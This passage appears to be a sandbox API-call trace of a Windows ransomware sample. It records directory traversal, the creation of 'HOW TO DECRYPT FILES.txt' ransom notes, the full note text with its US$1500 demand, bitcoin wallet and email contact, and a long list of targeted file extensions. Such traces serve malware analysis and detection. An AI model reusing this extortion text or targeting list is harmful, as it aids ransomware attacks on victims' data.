lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f3dd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f3dd240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f3dd240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.373] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f3dd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f3dd240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f3dd240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.373] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3043d97d, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x3043d97d, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x933da1d3, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x23800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiUserXp.ni.dll", cAlternateFileName="EHIUSE~1.DLL")) returned 1 [0107.373] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.373] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiUserXp.ni.dll") returned -1 [0107.373] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiUserXp.ni.dll") returned 1 [0107.373] lstrcmpiA (lpString1="", lpString2="ehiUserXp.ni.dll") returned -1 [0107.373] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\*.*") returned="*.*" [0107.373] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\" [0107.374] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\") returned="" [0107.374] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\HOW TO DECRYPT FILES.txt" [0107.374] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiuserxp\\a6dc826bf08c95bd5fe459a02bbfd33c\\how to decrypt files.txt")) returned 0xffffffff [0107.374] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiuserxp\\a6dc826bf08c95bd5fe459a02bbfd33c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.386] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\", lpString2="ehiUserXp.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\ehiUserXp.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\ehiUserXp.ni.dll" [0107.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\ehiUserXp.ni.dll", pszSpec="*.ems") returned 0 [0107.386] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3043d97d, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x3043d97d, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x933da1d3, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x23800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiUserXp.ni.dll", cAlternateFileName="EHIUSE~1.DLL")) returned 0 [0107.386] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.386] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f3dd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f3dd240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f3dd240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a6dc826bf08c95bd5fe459a02bbfd33c", cAlternateFileName="A6DC82~1")) returned 0 [0107.386] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.386] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ef12cd0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3ef12cd0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3ef12cd0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x550069, cFileName="ehiVidCtl", cAlternateFileName="EHIVID~1")) returned 1 [0107.386] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.387] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehiVidCtl" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl" [0107.387] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ef12cd0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3ef12cd0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3ef12cd0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.390] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ef12cd0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3ef12cd0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3ef12cd0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.391] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ef12cd0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3ef12cd0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3ef12cd0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="11d57f5c033326954c0bc4f0b2680812", cAlternateFileName="11D57F~1")) returned 1 [0107.391] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\*.*") returned="*.*" [0107.391] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\", lpString2="11d57f5c033326954c0bc4f0b2680812" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812" [0107.391] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ef12cd0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3ef12cd0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3ef12cd0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.391] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ef12cd0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3ef12cd0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3ef12cd0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.391] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eec6a10, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3eec6a10, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3eeecb70, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x215400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiVidCtl.ni.dll", cAlternateFileName="EHIVID~1.DLL")) returned 1 [0107.392] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.392] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiVidCtl.ni.dll") returned -1 [0107.392] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiVidCtl.ni.dll") returned 1 [0107.392] lstrcmpiA (lpString1="", lpString2="ehiVidCtl.ni.dll") returned -1 [0107.392] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\*.*") returned="*.*" [0107.392] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\" [0107.392] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\") returned="" [0107.392] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\HOW TO DECRYPT FILES.txt" [0107.392] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehividctl\\11d57f5c033326954c0bc4f0b2680812\\how to decrypt files.txt")) returned 0xffffffff [0107.393] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehividctl\\11d57f5c033326954c0bc4f0b2680812\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.394] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0107.394] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0107.396] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.396] CloseHandle (hObject=0x90) returned 1 [0107.396] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\", lpString2="ehiVidCtl.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll" [0107.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.ems") returned 0 [0107.396] lstrlenA (lpString="*.ems") returned 5 [0107.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.db") returned 0 [0107.396] lstrlenA (lpString="*.db") returned 4 [0107.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.dbf") returned 0 [0107.396] lstrlenA (lpString="*.dbf") returned 5 [0107.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.myox") returned 0 [0107.396] lstrlenA (lpString="*.myox") returned 6 [0107.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.myo") returned 0 [0107.396] lstrlenA (lpString="*.myo") returned 5 [0107.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.qbw") returned 0 [0107.396] lstrlenA (lpString="*.qbw") returned 5 [0107.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.qbb") returned 0 [0107.396] lstrlenA (lpString="*.qbb") returned 5 [0107.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.qbm") returned 0 [0107.397] lstrlenA (lpString="*.qbm") returned 5 [0107.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.qbo") returned 0 [0107.397] lstrlenA (lpString="*.qbo") returned 5 [0107.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.qbx") returned 0 [0107.397] lstrlenA (lpString="*.qbx") returned 5 [0107.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.qba") returned 0 [0107.397] lstrlenA (lpString="*.qba") returned 5 [0107.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.qby") returned 0 [0107.397] lstrlenA (lpString="*.qby") returned 5 [0107.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.qbj") returned 0 [0107.397] lstrlenA (lpString="*.qbj") returned 5 [0107.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.ofx") returned 0 [0107.397] lstrlenA (lpString="*.ofx") returned 5 [0107.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.qif") returned 0 [0107.397] lstrlenA (lpString="*.qif") returned 5 [0107.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.mye") returned 0 [0107.397] lstrlenA (lpString="*.mye") returned 5 [0107.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.mbox") returned 0 [0107.397] lstrlenA (lpString="*.mbox") returned 6 [0107.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.eml") returned 0 [0107.397] lstrlenA (lpString="*.eml") returned 5 [0107.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.pst") returned 0 [0107.397] lstrlenA (lpString="*.pst") returned 5 [0107.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.ost") returned 0 [0107.397] lstrlenA (lpString="*.ost") returned 5 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.idx") returned 0 [0107.398] lstrlenA (lpString="*.idx") returned 5 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.dbx") returned 0 [0107.398] lstrlenA (lpString="*.dbx") returned 5 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.sql") returned 0 [0107.398] lstrlenA (lpString="*.sql") returned 5 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.mdb") returned 0 [0107.398] lstrlenA (lpString="*.mdb") returned 5 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.fdb") returned 0 [0107.398] lstrlenA (lpString="*.fdb") returned 5 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.wab") returned 0 [0107.398] lstrlenA (lpString="*.wab") returned 5 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.dat") returned 0 [0107.398] lstrlenA (lpString="*.dat") returned 5 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.txt") returned 0 [0107.398] lstrlenA (lpString="*.txt") returned 5 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.jpeg") returned 0 [0107.398] lstrlenA (lpString="*.jpeg") returned 6 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.jpg") returned 0 [0107.398] lstrlenA (lpString="*.jpg") returned 5 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.png") returned 0 [0107.398] lstrlenA (lpString="*.png") returned 5 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.php") returned 0 [0107.398] lstrlenA (lpString="*.php") returned 5 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.cs") returned 0 [0107.398] lstrlenA (lpString="*.cs") returned 4 [0107.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.cpp") returned 0 [0107.399] lstrlenA (lpString="*.cpp") returned 5 [0107.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.rar") returned 0 [0107.399] lstrlenA (lpString="*.rar") returned 5 [0107.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.zip") returned 0 [0107.399] lstrlenA (lpString="*.zip") returned 5 [0107.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.html") returned 0 [0107.399] lstrlenA (lpString="*.html") returned 6 [0107.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.htm") returned 0 [0107.399] lstrlenA (lpString="*.htm") returned 5 [0107.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.xlsx") returned 0 [0107.399] lstrlenA (lpString="*.xlsx") returned 6 [0107.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.xls") returned 0 [0107.399] lstrlenA (lpString="*.xls") returned 5 [0107.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.mp4") returned 0 [0107.399] lstrlenA (lpString="*.mp4") returned 5 [0107.399] PathMatchSpecA 